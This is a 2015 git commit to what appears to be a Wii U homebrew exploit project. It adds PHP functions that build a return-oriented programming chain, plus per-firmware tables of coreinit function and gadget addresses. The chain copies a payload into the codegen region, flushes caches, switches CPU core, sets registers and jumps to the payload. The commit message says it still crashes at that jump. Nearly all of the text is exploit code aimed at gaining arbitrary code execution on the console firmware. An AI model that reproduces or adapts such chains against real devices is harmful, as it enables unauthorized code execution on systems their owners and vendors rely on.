Implemented the rest of the ROP. This doesn't actually work atm: it crashes when trying to jump to the loaded codebin.

This commit is contained in:
yellows8 2015-12-01 10:00:37 -05:00
parent 426271972c
commit 7b1c3df757
4 changed files with 151 additions and 4 deletions

View File

@ -41,9 +41,17 @@ $ROP_memcpy Address of "memcpy" in coreinit.
$ROP_DCFlushRange Address of "DCFlushRange" in coreinit. void DCFlushRange(const void *addr, size_t length);
$ROP_ICInvalidateRange Address of "ICInvalidateRange" in coreinit. void ICInvalidateRange(const void *addr, size_t length);
$ROP_OSSwitchSecCodeGenMode Address of "OSSwitchSecCodeGenMode" in coreinit. OSSwitchSecCodeGenMode(bool execute)
$ROP_OSCodegenCopy Address of "OSCodegenCopy" in coreinit. u32 OSCodegenCopy(dstaddr, srcaddr, size)
$ROP_OSGetCurrentThread Address of "OSGetCurrentThread" in coreinit. OSThread *OSGetCurrentThread(void)
$ROP_OSSetThreadAffinity Address of "OSSetThreadAffinity" in coreinit. OSSetThreadAffinity(OSThread* thread, u32 affinity)
$ROP_OSYieldThread Address of "OSYieldThread" in coreinit. OSYieldThread(void)
$ROP_OSFatal Address of "$ROP_OSFatal" in coreinit.
$ROP_OSFatal Address of "OSFatal" in coreinit.
$ROP_Exit Address of "_Exit" in coreinit.
$ROP_OSScreenFlipBuffersEx Address of "OSScreenFlipBuffersEx" in coreinit.
$ROP_OSScreenClearBufferEx Address of "OSScreenClearBufferEx" in coreinit.
$ROP_OSDynLoad_Acquire Address of "OSDynLoad_Acquire" in coreinit.
$ROP_OSDynLoad_FindExport Address of "OSDynLoad_FindExport" in coreinit.
$ROP_os_snprintf Address of "__os_snprintf" in coreinit.
*/
function genu32_unicode($value)//This would need updated to support big-endian.
@ -97,7 +105,7 @@ function ropgen_pop_r24_to_r31($inputregs)
ropchain_appendu32(0x0);
}
function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6)
function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6, $r28)
{
global $ROP_CALLR28_POP_R28_TO_R31, $ROP_CALLFUNC;
@ -115,6 +123,92 @@ function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6)
ropchain_appendu32($ROP_CALLFUNC);
ropchain_appendu32($r28);//r28
ropchain_appendu32(0x0);//r29
ropchain_appendu32(0x0);//r30
ropchain_appendu32(0x0);//r31
ropchain_appendu32(0x0);
}
function ropgen_OSFatal($stringaddr)
{
global $ROP_OSFatal;
ropgen_callfunc($ROP_OSFatal, $stringaddr, 0x0, 0x0, 0x0, 0x0);
}
function ropgen_Exit()
{
global $ROP_Exit;
ropchain_appendu32($ROP_Exit);
}
function ropgen_OSScreenFlipBuffersEx($screenid)
{
global $ROP_OSScreenFlipBuffersEx;
ropgen_callfunc($ROP_OSScreenFlipBuffersEx, $screenid, 0x0, 0x0, 0x0, 0x0);
}
function ropgen_OSScreenClearBufferEx($screenid, $color)//Don't use any of this OSScreen stuff, this stuff just crashes since OSScreen wasn't initialized properly.
{
global $ROP_OSScreenClearBufferEx;
ropgen_callfunc($ROP_OSScreenClearBufferEx, $screenid, $color, 0x0, 0x0, 0x0);
}
function ropgen_colorfill($screenid, $r, $g, $b, $a)
{
ropgen_OSScreenClearBufferEx($screenid, ($r<<24) | ($g<<16) | ($b<<8) | $a);
ropgen_OSScreenFlipBuffersEx($screenid);
}
function ropgen_OSCodegenCopy($dstaddr, $srcaddr, $size)
{
global $ROP_OSCodegenCopy;
ropgen_callfunc($ROP_OSCodegenCopy, $dstaddr, $srcaddr, $size, 0x0, 0x0);
}
function ropgen_DCFlushRange($addr, $size)
{
global $ROP_DCFlushRange;
ropgen_callfunc($ROP_DCFlushRange, $addr, $size, 0x0, 0x0, 0x0);
}
function ropgen_ICInvalidateRange($addr, $size)
{
global $ROP_ICInvalidateRange;
ropgen_callfunc($ROP_ICInvalidateRange, $addr, $size, 0x0, 0x0, 0x0);
}
function ropgen_copycodebin_to_codegen($codegen_addr, $codebin_addr, $codebin_size)
{
ropgen_OSCodegenCopy($codegen_addr, $codebin_addr, $codebin_size);
//ropchain_appendu32(0x50505050);
ropgen_DCFlushRange($codegen_addr, $codebin_size);
ropgen_ICInvalidateRange($codegen_addr, $codebin_size);
}
function ropgen_switchto_core1()
{
global $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31;
ropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below.
ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(<output from the above call>, 0x2);
ropchain_appendu32($ROP_OSYieldThread);//r28
ropchain_appendu32(0x0);//r29
ropchain_appendu32(0x0);//r30
ropchain_appendu32(0x0);//r31
ropchain_appendu32(0x0);
ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);
ropchain_appendu32(0x0);//r28
ropchain_appendu32(0x0);//r29
ropchain_appendu32(0x0);//r30
@ -124,8 +218,37 @@ function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6)
function generateropchain_type1()
{
global $ROP_OSFatal;
ropgen_callfunc($ROP_OSFatal, 0x14572D28, 0x0, 0x0, 0x0);//OSFatal(<data from the haxx>);
global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf;
$payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not.
$payload_srcaddr = 0x14572D28-0x5000;
$codegen_addr = 0x01800000;
//ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow.
//ropchain_appendu32(0x80808080);//Trigger a crash.
//ropgen_OSFatal($codepayload_srcaddr);//OSFatal(<data from the haxx>);
ropgen_switchto_core1();
ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size);
//ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white.
$regs = array();
$regs[24 - 24] = $ROP_OSFatal;//r24
$regs[25 - 24] = $ROP_Exit;//r25
$regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26
$regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27
$regs[28 - 24] = $ROP_os_snprintf;//r28
$regs[29 - 24] = 0x0;//r29
$regs[30 - 24] = 0x0;//r30
$regs[31 - 24] = 0x0;//r31
ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase.
ropgen_Exit();//Exit here since the below causes a crash.
ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written.
}
?>

View File

@ -16,7 +16,15 @@ getcoreinit_symboladdr "memcpy" "\$ROP_memcpy"
getcoreinit_symboladdr "DCFlushRange" "\$ROP_DCFlushRange"
getcoreinit_symboladdr "ICInvalidateRange" "\$ROP_ICInvalidateRange"
getcoreinit_symboladdr "OSSwitchSecCodeGenMode" "\$ROP_OSSwitchSecCodeGenMode"
getcoreinit_symboladdr "OSCodegenCopy" "\$ROP_OSCodegenCopy"
getcoreinit_symboladdr "OSGetCurrentThread" "\$ROP_OSGetCurrentThread"
getcoreinit_symboladdr "OSSetThreadAffinity" "\$ROP_OSSetThreadAffinity"
getcoreinit_symboladdr "OSYieldThread" "\$ROP_OSYieldThread"
getcoreinit_symboladdr "OSFatal" "\$ROP_OSFatal"
getcoreinit_symboladdr "_Exit" "\$ROP_Exit"
getcoreinit_symboladdr "OSScreenFlipBuffersEx" "\$ROP_OSScreenFlipBuffersEx"
getcoreinit_symboladdr "OSScreenClearBufferEx" "\$ROP_OSScreenClearBufferEx"
getcoreinit_symboladdr "OSDynLoad_Acquire" "\$ROP_OSDynLoad_Acquire"
getcoreinit_symboladdr "OSDynLoad_FindExport" "\$ROP_OSDynLoad_FindExport"
getcoreinit_symboladdr "__os_snprintf" "\$ROP_os_snprintf"
echo "?>"

View File

@ -11,7 +11,15 @@ $ROP_memcpy = 0x01035a68;
$ROP_DCFlushRange = 0x01023ee8;
$ROP_ICInvalidateRange = 0x01024010;
$ROP_OSSwitchSecCodeGenMode = 0x010370c0;
$ROP_OSCodegenCopy = 0x010370d8;
$ROP_OSGetCurrentThread = 0x010429cc;
$ROP_OSSetThreadAffinity = 0x01042284;
$ROP_OSYieldThread = 0x01041250;
$ROP_OSFatal = 0x01031368;
$ROP_Exit = 0x0101cd70;
$ROP_OSScreenFlipBuffersEx = 0x0103a9d0;
$ROP_OSScreenClearBufferEx = 0x0103aa90;
$ROP_OSDynLoad_Acquire = 0x0102a31c;
$ROP_OSDynLoad_FindExport = 0x0102b790;
$ROP_os_snprintf = 0x0102f09c;
?>

View File

@ -11,7 +11,15 @@ $ROP_memcpy = 0x01035fc8;
$ROP_DCFlushRange = 0x01023f88;
$ROP_ICInvalidateRange = 0x010240b0;
$ROP_OSSwitchSecCodeGenMode = 0x010376c0;
$ROP_OSCodegenCopy = 0x010376d8;
$ROP_OSGetCurrentThread = 0x01043150;
$ROP_OSSetThreadAffinity = 0x010429dc;
$ROP_OSYieldThread = 0x010418e4;
$ROP_OSFatal = 0x01031618;
$ROP_Exit = 0x0101cd80;
$ROP_OSScreenFlipBuffersEx = 0x0103afd0;
$ROP_OSScreenClearBufferEx = 0x0103b090;
$ROP_OSDynLoad_Acquire = 0x0102a3b4;
$ROP_OSDynLoad_FindExport = 0x0102b828;
$ROP_os_snprintf = 0x0102f160;
?>